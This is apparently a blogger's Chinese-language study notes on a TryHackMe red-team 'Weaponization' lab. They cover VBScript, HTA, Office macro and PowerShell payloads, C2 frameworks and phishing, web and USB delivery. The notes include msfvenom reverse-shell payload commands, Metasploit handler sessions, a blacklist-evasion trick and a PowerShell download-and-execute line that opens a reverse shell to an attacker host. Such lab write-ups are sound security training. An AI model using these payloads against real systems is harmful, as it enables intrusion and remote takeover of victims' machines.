SugarCrash!

记录学习,想找个师傅带带我

0%

Weaponization

了解和探索常见的红队武器化技术。您将学习使用业内常见的方法构建自定义有效负载以获得初始访问权限。

什么是武器化

大多数组织都在运行 Windows操作系统,这将是一个可能的目标。组织的环境策略通常会阻止下载和执行 .exe文件以避免安全违规。因此,红队依赖于构建通过各种渠道发送的自定义有效负载,例如网络钓鱼活动、社会工程、浏览器或软件利用、USB 或 Web 方法。 

下图是武器化的示例,其中使用精心制作的自定义 PDF 或 Microsoft Office 文档来传递恶意负载。自定义有效负载配置为连接回红队基础设施的命令和控制环境。


有关红队工具包的更多信息,请访问以下内容:一个包含所有内容的GitHub 存储库,包括初始访问、有效负载开发、交付方法等。

大多数组织在其受控环境中阻止或监视 .exe文件的执行。出于这个原因,红队成员依赖于使用其他技术执行有效负载,例如内置的 Windows 脚本技术。因此,此任务侧重于各种流行且有效的脚本技术,包括: 

  • Windows 脚本宿主 (WSH)
  • HTML 应用程序 ( HTA )
  • Visual Basic 应用程序 (VBA)
  • PowerShell (PSH)

    Windows Scripting Host - WSH

    Windows 脚本宿主 (WSH)
    Windows 脚本主机是一个内置的 Windows 管理工具,它运行批处理文件来自动化和管理操作系统中的任务。
    它是一个 Windows 原生引擎,cscript.exe  (用于命令行脚本)和wscript.exe  (用于 UI 脚本),负责执行各种 Microsoft Visual Basic Scripts (VBScript),包括vbs 和vbe。有关 VBScript 的更多信息,请访问此处。值得注意的是,Windows 操作系统上的 VBScript 引擎以与普通用户相同的访问和权限级别运行和执行应用程序;因此,它对红队队员很有用。

编写一个简单的vbs

1
2
3
Dim message 
message = "Welcome to THM"
MsgBox message


现在用以下vbs代码调用windows计算器,证明我们可以使用windows本机引用引擎(WSH)执行.exe文件

1
2
Set shell = WScript.CreateObject("Wscript.Shell")
shell.Run("C:\Windows\System32\calc.exe " & WScript.ScriptFullName),0,True

使用CreateObject创建WScript库 的对象来调用执行负载。然后,我们利用 Run 方法来执行有效载荷。对于这个任务,我们将 运行 Windows 计算器calc.exe 。
要执行exe文件,我们可以使用wscript运行它

1
c:\Windows\System32>wscript c:\Users\thm\Desktop\payload.vbs

我们也可以通过cscript运行它

1
c:\Windows\System32>cscript.exe c:\Users\thm\Desktop\payload.vbs


如果vbs文件被列入黑名单,name可以重命名为.txt文件用wscript运行它

1
c:\Windows\System32>wscript /e:VBScript c:\Users\thm\Desktop\payload.txt

HTML应用程序(HTA)

HTA 代表“HTML 应用程序”。它允许您创建一个可下载的文件,该文件包含有关其显示和渲染方式的所有信息。HTML 应用程序,也称为 HTA,是 包含 JScript 和 VBScript的动态HTML页面。LOLBINS(Living-of-the-land Binaries)工具 mshta用于执行 HTA 文件。它可以自行执行,也可以从 Internet Explorer 自动执行。

1
2
3
4
5
6
7
8
<html>
<body>
<script>
var c= 'cmd.exe'
new ActiveXObject('WScript.Shell').Run(c);
</script>
</body>
</html>

然后从 Web 服务器提供 payload.hta ,这可以从攻击机器完成,如下所示,
python3 -m http.server 8090

一旦我们按下 Run , payload.hta 就会 被执行,然后它会调用 cmd.exe 。下图说明我们已经成功执行了 cmd.exe 。

我们可以如下创建一个反向 shell 有效载荷,
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.13.40.87 LPORT=4444 -f hta-psh -o thm.hta
一旦受害者访问恶意 URL 并点击运行,我们就会恢复连接。

通过 Metasploit 的恶意 HTA

1
2
3
4
5
6
7
8
9
10
11
msf6 > use exploit/windows/misc/hta_server
msf6 exploit(windows/misc/hta_server) > set LHOST 10.8.232.37 LHOST => 10.8.232.37
msf6 exploit(windows/misc/hta_server) > set LPORT 443 LPORT => 443 msf6 exploit(windows/misc/hta_server) > set SRVHOST 10.8.232.37 SRVHOST => 10.8.232.37
msf6 exploit(windows/misc/hta_server) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp
msf6 exploit(windows/misc/hta_server) > exploit
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
msf6 exploit(windows/misc/hta_server) >
[*] Started reverse TCP handler on 10.8.232.37:443
[*] Using URL: http://10.8.232.37:8080/TkWV9zkd.hta
[*] Server started.

Visual Basic (VBA)

VBA 代表 Visual Basic for Applications,这是一种由 Microsoft 为 Microsoft Word、Excel、PowerPoint 等 Microsoft 应用程序实施的编程语言。VBA 编程允许用户与 Microsoft Office 应用程序之间几乎所有键盘和鼠标交互的任务自动化。
word文档创建一个宏执行calc

1
2
3
4
5
Sub PoC()
Dim payload As String
payload = "calc.exe"
CreateObject("Wscript.Shell").Run payload,0
End Sub

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.50.159.15 LPORT=443 -f vba

导入注意,需要进行一项修改才能使这项工作。输出将在 MS excel 工作表上工作。因此,将 Workbook_Open()更改为 Document_Open()以使其适用于 MS word 文档。

复制输出并将其保存到MS Word文档的宏编辑器中

1
2
3
4
5
6
7
user@AttackBox$ msfconsole -q 
msf5 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set LHOST 10.50.159.15 LHOST => 10.50.159.15
msf5 exploit(multi/handler) > set LPORT 443 LPORT => 443
msf5 exploit(multi/handler) > exploit

一旦在受害者机器上打开恶意 MS Word 文档,我们应该会收到一个反向 shell。

PowerShell-PSH

PowerShell 是一种从.NET中的动态语言运行时 (DLR) 执行的面向对象的编程语言,但  有一些遗留用途的例外情况。
红队成员依靠 PowerShell 执行各种活动,包括初始访问、系统枚举和许多其他活动。 让我们从创建一个简单的 PowerShell 脚本开始,它会打印“ Welcome to the Weaponization Room!”,如下所示,

1
Write-Output "Welcome to the Weaponization Room!"


执行政策
PowerShell 的执行策略是一种 安全选项,可保护系统免于运行恶意脚本。默认情况下,出于安全目的,Microsoft 会禁用执行 PowerShell 脚本.ps1 。PowerShell 执行策略设置为Restricted,这意味着它允许单个命令但不运行任何脚本。

1
Get-ExecutionPolicy        #查看当前powershell设置

更改为RemoteSigned

1
2
3
Set-ExecutionPolicy -Scope CurrentUser RemoteSigned

A
powercat

这个会被杀
git clone https://github.com/besimorhino/powercat.git python3 -m http.server 8080 nc -lvp 1337`

1
powershell -c "IEX(New-Object System.Net.WebClient).DownloadString('http://ATTACKBOX_IP:8080/powercat.ps1');powercat -c ATTACKBOX_IP -p 1337 -e cmd"

命令控制-(C2)

此任务介绍了红队操作中使用的命令和控制 (C2) 框架的基本概念。

什么是指挥与控制 (C2)?
C2 框架是后开发框架,允许红队人员协作和控制受感染的机器。C2 被认为是红队在进攻性网络行动中最重要的工具之一。C2 框架提供了快速和直接的方法来:

  • 生成各种恶意载荷
  • 枚举受感染的机器/网络
  • 执行权限提升和旋转
  • 横向运动 
  • 和许多其他人

一些流行的 C2 框架是 Cobalt Strike、PowerShell Empire、Metasploit。 一旦获得对系统的初始访问权限,这些框架中的大多数旨在支持一个方便的环境,以便在红队操作之间共享和通信。

PowerShell Empire

PowerShell Empire 是一个开源框架,可帮助红队操作员和渗透测试人员使用密钥和共享密码跨多个服务器进行协作。它是一个基于 PowerShell 和 Python 代理的开发框架。PowerShell Empire 专注于 Windows 和 Active Directory 环境的客户端和后期开发。

交付技术

交付技术是获得初始访问权限的重要因素之一。他们必须看起来专业、合法且对受害者有说服力,才能跟进内容。

电子邮件递送

这是通过发送带有链接或附件的网络钓鱼电子邮件来发送有效负载的常用方法。欲了解更多信息,请访问此处。此方法附加了一个可能是我们前面提到的类型的恶意文件。目标是说服受害者访问恶意网站或下载并运行恶意文件,以获得对受害者网络或主机的初始访问权限。

网络交付

另一种方法是在红队控制的 Web 服务器上托管恶意负载。Web 服务器必须遵循安全准则,例如其域名和 TLS(传输层安全)证书的干净记录和声誉。如需更多信息,请访问此处

此方法包括其他技术,例如对受害者进行社会工程以访问或下载恶意文件。使用此方法时,URL 缩短器可能会有所帮助。

在这种方法中,可以结合使用其他技术。攻击者可以利用零日漏洞,例如利用 Java 或浏览器等易受攻击的软件,在网络钓鱼电子邮件或 Web 传递技术中使用它们来访问受害机器。

USB 传输

到他家插u盘啊!!!
这种方法需要受害者物理插入恶意 USB。这种方法在对手可以分发 USB 的会议或活动中可能是有效和有用的。有关 USB 交付的更多信息,请访问此处

通常,组织会制定强有力的策略,例如出于安全目的在其组织环境中禁用 USB 使用。而其他组织允许它在目标环境中使用。

用于武器化 USB 设备的常见 USB 攻击包括Rubber Ducky​​USBHarpoon、充电 USB 电缆。